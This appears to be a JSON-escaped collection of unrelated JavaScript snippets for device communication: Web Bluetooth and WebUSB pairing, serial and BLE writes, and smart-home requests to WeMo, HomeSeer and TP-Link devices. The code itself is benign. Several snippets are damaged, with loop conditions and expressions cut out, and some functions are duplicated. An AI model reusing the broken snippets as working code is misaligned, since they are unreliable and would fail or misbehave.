/* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; idebug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"function onData(d){\\n var frame,\\n generatedData,\\n response;\\n\\n frame = TBus.parse(d);\\n\\n if(!frame.valid){\\n console.log(\\\"Invalid frame received.\\\");\\n return;\\n }\\n\\n if(!Devices[frame.receiver[0]]){\\n console.log(\\\"Device is not supported.\\\");\\n }\\n\\n generatedData = Devices[frame.receiver[0]].randomData();\\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\\n\\n setTimeout(function(){\\n /*\\n var one,\\n two;\\n\\n one = new Buffer(response.slice(0,5));\\n two = new Buffer(response.slice(5,response.length));\\n serialPort.write(one);\\n setTimeout(function(){\\n serialPort.write(two);\\n },110);\\n */\\n serialPort.write(response);\\n },0);\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"function ble_transmit_cmd(cmd) {\\n if(cmd == 0){\\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\\n uiProgressBar(g_rawcode_length/2, i+1);\\n\\n var tx_data = [];\\n\\n /*\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[j] = 0xff & (i >> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function sendSerialData() {\\n\\t\\tif (isLoaded()) {\\n\\t\\t\\t// Beggining and ending patterns that signify port has responded\\n\\t\\t\\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialBegin(chr(2));\\n\\t\\t\\tqz.setSerialEnd(chr(13));\\n\\t\\t\\t// Baud rate, data bits, stop bits, parity, flow control\\n\\t\\t\\t// \\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\" = Default for Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialProperties(\\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\");\\n\\t\\t\\t// Send raw commands to the specified port.\\n\\t\\t\\t// W = weight on Mettler Toledo Scale\\n\\t\\t\\tqz.send(document.getElementById(\\\"port_name\\\").value, \\\"\\\\nW\\\\n\\\");\\n\\t\\t\\t\\n\\t\\t\\t// Automatically called when \\\"qz.send()\\\" is finished waiting for \\n\\t\\t\\t// a valid message starting with the value supplied for setSerialBegin()\\n\\t\\t\\t// and ending with with the value supplied for setSerialEnd()\\n\\t\\t\\twindow['qzSerialReturned'] = function(portName, data) {\\n\\t\\t\\t\\tif (qz.getException()) {\\n\\t\\t\\t\\t\\talert(\\\"Could not send data:\\\\n\\\\t\\\" + qz.getException().getLocalizedMessage());\\n\\t\\t\\t\\t\\tqz.clearException(); \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif (data == null || data == \\\"\\\") { // Test for blank data\\n\\t\\t\\t\\t\\t\\talert(\\\"No data was returned.\\\")\\n\\t\\t\\t\\t\\t} else if (data.indexOf(\\\"?\\\") !=-1) { // Test for bad data\\n\\t\\t\\t\\t\\t\\talert(\\\"Device not ready. Please wait.\\\")\\n\\t\\t\\t\\t\\t} else { // Display good data\\n\\t\\t\\t\\t\\t\\talert(\\\"Port [\\\" + portName + \\\"] returned data:\\\\n\\\\t\\\" + data);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t};\\n\\t\\t}\\n\\t}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"function sendCommand(device_id, command) {\\n\\tnew Ajax.Request(\\\"/controls/sendCommand\\\", { \\n\\t\\tmethod: \\\"get\\\", \\n\\t\\tparameters: { \\n\\t\\t\\t\\\"device_id\\\": device_id,\\n\\t\\t\\t\\\"command\\\": command,\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function send (token, deviceId, payload, cb) {\\n\\trequest.post({\\n\\t\\turl,\\n\\t\\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\\n\\t\\theaders: {\\n\\t\\t\\t'Content-Type': 'application/octet-stream',\\n\\t\\t\\t'Authorization': 'Token ' + token,\\n\\t\\t},\\n\\t}, (err, httpResponse, body) => {\\n\\t\\tif (err) return cb(err)\\n\\n\\t\\tif (httpResponse.statusCode !== 200) {\\n\\t\\t\\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\\n\\t\\t}\\n\\n\\t\\tcb()\\n\\t})\\n}\",\n \"function setupUSBEventHandlers(result) {\\n\\tconsole.log('App was granted the \\\"usbDevices\\\" permission.');\\n\\tchrome.usb.findDevices(device_info, function(devices) {\\n\\t\\tconsole.log('Found ' + devices.length + ' devices.');\\n\\t\\tif (!devices || !devices.length) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tmp_device = devices[0];\\n\\t\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n\\n\\t\\tchangeState(state.ready);\\n\\t});\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"update() {\\n\\t\\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\\n\\t\\t\\tif(status.length != 128) {\\n\\t\\t\\t\\treturn this.error(`Status size error. Received: ${status.length}`);\\n\\t\\t\\t}\\n\\t\\t\\tthis.parseStatus(status);\\n\\t\\t});\\n\\t}\",\n \"function sendToSerial(data){\\n var objFromBuffer = JSON.parse(data);\\n console.log(\\\"sending to serial: \\\", objFromBuffer.data);\\n if(objFromBuffer.data !== undefined){\\n myPort.write(objFromBuffer.data); \\n }\\n}\",\n \"function respond(){\\n\\t\\t\\t\\t\\t// flush HTTP response\\n\\t\\t\\t\\t\\tvar bin = responsePacket.serialize();\\n\\t\\t\\t\\t\\t//sys.puts( utils.hex(bin) );\\n\\t\\t\\t\\t\\t//sys.puts( sys.inspect(responsePacket) );\\n\\t\\t\\t\\t\\tres.writeHead( 200, {\\n\\t\\t\\t\\t\\t\\t'Content-Type': 'application/x-amf',\\n\\t\\t\\t\\t\\t\\t'Content-Length': bin.length \\n\\t\\t\\t\\t\\t} );\\n\\t\\t\\t\\t\\tres.write( bin, \\\"binary\\\" );\\n\\t\\t\\t\\t\\tres.end();\\n\\t\\t\\t\\t}\",\n \"function WebUSBSerialCommunicator (params) {\\n var self = this;\\n\\n self.debugMode = false;\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.debug === \\\"boolean\\\") {\\n self.debugMode = params.debug;\\n }\\n\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.device === \\\"object\\\") {\\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\\n this.serial = new WebFTDIUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\\n this.serial = new WebNativeUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else {\\n throw new Error(\\\"Device's vendor ID and product ID do not match a TappyUSB\\\");\\n }\\n } else if (typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.serial === \\\"object\\\"){\\n // this is just for testing and should not be used\\n this.serial = params.serial;\\n } else {\\n throw new Error(\\\"Must specify a TappyUSB device\\\");\\n }\\n\\n this.isConnecting = false;\\n this.hasAttached = false;\\n this.disconnectImmediately = false;\\n this.disconnectCb = function() {};\\n\\n this.dataReceivedCallback = function(bytes) {\\n\\n };\\n this.errorCallback = function(data) {\\n\\n };\\n this.readCallback = function(buff) {\\n self.dataReceivedCallback(new Uint8Array(buff));\\n };\\n }\",\n \"writeLoginSetting(data) {\\n var arrData = [17,32,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginSetting_1',data_send);\\n for (var i =0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function sendToSerial(data) {\\n console.log(\\\"sending to serial: \\\" + data);\\n port.write(data);\\n}\",\n \"function HandleResponse(avrNum, responseID, msg)\\n{\\n switch (responseID) {\\n case 'a': // a = get serial number\\n var avr;\\n avrs[avrNum].avrSN = msg; // save s/n in device object\\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\\n var n = msg.substr(1,1); // motor number\\n var a = msg.split(' ');\\n for (var i=0; i 0) continue;\\n } else {\\n // allow negative motor speed when at top limit\\n if (motorSpd[mot] < 0) continue;\\n }\\n avrs[0].SendCmd(\\\"c.m\\\" + mot + \\\" halt\\\\n\\\");\\n var which = isBottom ? \\\"lower\\\" : \\\"upper\\\";\\n Log(\\\"M\\\" + mot + \\\" halted! (hit \\\" + which + \\\" limit switch)\\\");\\n }\\n }\\n }\\n } break;\\n\\n case 'z': // z = disable watchdog timer\\n // forget about the unknown AVR\\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\\n avrs[avrNum] = null;\\n break;\\n\\n default:\\n Log('AVR'+avrNum, 'Unknown response:', msg);\\n break;\\n }\\n return avrNum;\\n}\",\n \"async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\\n if (blxCmdBusy === true) {\\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\\n return\\n }\\n\\n if (full_connected_flag !== true) {\\n if (NUS_device === undefined) {\\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\\n return\\n } else {\\n await blxConnectNus(0, 1) // Reconnect with SCAN\\n if (blxErrMsg) return\\n }\\n }\\n\\n blxCmdBusy = true\\n blxCmdLast = cmd\\n blxCmdBusy_t0 = Date.now()\\n await bleSendData(cmd)\\n await wait_blx(timeout_ms)\\n blxCmdBusy = false\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"_sendData() {\\n\\n }\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n serialPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n }\",\n \"function raspiWrite(component, value){\\t\\n\\tconst data = {\\n\\t\\tValue: value\\n\\t};\\n\\n\\tconst option = {\\n\\t\\tmethod: 'POST',\\n\\t\\tbody: JSON.stringify(data), \\n\\t\\theaders:{\\n\\t\\t\\t'Content-Type': 'application/json'\\n\\t\\t}\\n\\t}\\n\\tfetch('/raspi/' + component, option)\\n\\t.then(console.log(\\\"LED actualizado\\\"));\\n}\",\n \"function sendRequest(sensorType, isSensorOn, dataByte) {\\n var newRequest = new XMLHttpRequest();\\n newRequest.open(\\\"POST\\\", `http://${window.location.host}/pi_data`, true);\\n newRequest.setRequestHeader(\\\"Content-Type\\\", \\\"application/json\\\");\\n newRequest.send(\\n JSON.stringify({\\n sensor: sensorType,\\n isSensorOn: isSensorOn,\\n mode: dataByte,\\n })\\n );\\n}\",\n \"function trans_appbin(idx) {\\n let btdev = btdevs[idx];\\n let seq = btdev.wrtseq;\\n\\n showProgress(idx);\\n\\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\\n btdev.wrtseq = -1;\\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\\n btdev.bt.write(\\\"WriteApp\\\", buf);\\n console.log(\\\"Transfer completed. idx=\\\" + idx);\\n return;\\n }\\n\\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\\n // binbuf[1] = Math.floor(seq / 256);\\n // binbuf[2] = seq % 256;\\n btdev.binbuf[1] = Math.floor(seq / 256);\\n btdev.binbuf[2] = seq % 256;\\n\\n for (var i=0; i {\\n let allData = \\\"\\\";\\n res.on('data', function(data) { allData += data; });\\n res.on('close', function(data) { console.log(\\\"Closed: \\\" + allData); }); \\n }).end(content);\\n}\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n myPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n // increment brightness by 10 points. Rollover if > 255:\\n if (brightness < 255) {\\n brightness+= 10;\\n } else {\\n brightness = 0;\\n }\\n }\",\n \"function processDeviceCommand(request, response) {\\r\\n\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command\\r\\n\\tconsole.log(respMsg)\\r\\n\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\tresponse.setHeader(\\\"action\\\", action)\\r\\n\\tvar socket = net.connect(9999, deviceIP)\\r\\n\\tsocket.setKeepAlive(false)\\r\\n\\tsocket.setTimeout(6000)\\r\\n\\tsocket.on('connect', () => {\\r\\n\\t\\tsocket.write(TcpEncrypt(command))\\r\\n\\t})\\r\\n\\tsocket.on('data', (data) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tdata = decrypt(data.slice(4)).toString('ascii')\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", data)\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tvar respMsg = \\\"Command Response sent to SmartThings\\\"\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t}).on('timeout', () => {\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"TcpTimeout\\\")\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### TCP Timeout in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t}).on('error', (err) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### Socket Error in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + 